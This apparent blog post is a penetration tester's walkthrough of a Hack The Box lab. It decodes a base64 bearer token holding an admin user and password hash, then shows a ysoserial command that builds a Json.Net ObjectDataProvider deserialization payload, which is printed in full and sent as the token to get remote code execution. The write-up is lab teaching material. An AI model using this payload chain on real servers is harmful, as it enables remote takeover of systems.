Attacking .NET Serialization

Hi friends,

I want to discuss about the .net serialization which lately become a quite hot.

There are alot of discussion about the detail of .NET serialization vulnerability in the internet. But in the view of penetration tester, The easiest way to find this vulnerability on the web is to do this simple test.

Lets take an example from hack the box lab. During the analyses

During the analyzes of web header I found that the communication of one of the function is using serialization like below

we can see that this web implement bearer token. Bearer token is used commonly to change the function of cookie to become more independent. This token is basically encoded with base64

root@netdragon:~/box/json/smb# echo 'eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=' | base64 -d ; echo
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Lets do some research. How about we do any random encoded and send it to the server

root@netdragon:~/box/json/smb# echo 'Rio is Here' | base64

Based on the above information that we can find that the application is having an error thrown to exception when the format of the encoded token is different from the expected. it uses Json.Net serialization. We can now do further check with ysoserial serialization to do the attack.

Lets generate serialization using ysoserial to generate RCE serialization

C:\Temp\Release>ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 1" -o raw
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        '$type':'System.Collections.ArrayList, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c ping -n 1']
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

But do not forget that we need to encode it so that we can send it as bearer parameter. I put the json in text file called ping and do the encoding to that file

base64 -w 0 ping 

send it to the server and lets check if we can get the ping from the server

so here basically we can do RCE to the server.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s